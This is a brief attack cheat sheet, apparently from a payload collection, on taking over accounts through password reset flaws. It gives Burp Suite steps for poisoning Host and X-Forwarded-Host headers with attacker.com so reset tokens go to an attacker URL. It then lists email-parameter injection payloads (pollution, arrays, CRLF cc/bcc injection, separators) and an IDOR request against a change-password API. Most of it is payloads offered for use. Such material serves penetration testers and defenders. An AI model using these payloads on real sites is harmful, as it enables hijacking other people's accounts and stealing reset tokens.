Password Reset Token Leak via Referrer
Account Takeover Through Password Reset Poisoning
Intercept the password reset request in Burp Suite
Add or edit the following headers in Burp Suite : Host: attacker.com, X-Forwarded-Host: attacker.com
Forward the request with the modified header
POST <https://example.com/reset.php> HTTP/1.1
Accept: */*
Content-Type: application/json
Host: attacker.com
Look for a password reset URL based on the host header like : https://attacker.com/reset-password.php?token=TOKEN
Password Reset via Email Parameter
# parameter pollution
[email protected]&[email protected]# array of emails
{"email":["[email protected]","[email protected]"]}
# carbon copy
[email protected]%0A%0Dcc:[email protected]
[email protected]%0A%0Dbcc:[email protected]# separator
[email protected],[email protected]
[email protected]%[email protected]
[email protected]|[email protected]
IDOR on API Parameters
Attacker have to login with their account and go to the Change password feature.
Start the Burp Suite and Intercept the request
Send it to the repeater tab and edit the parameters : User ID/email
POST /api/changepass
[...]
("form": {"email":"[email protected]","password":"securepwd"})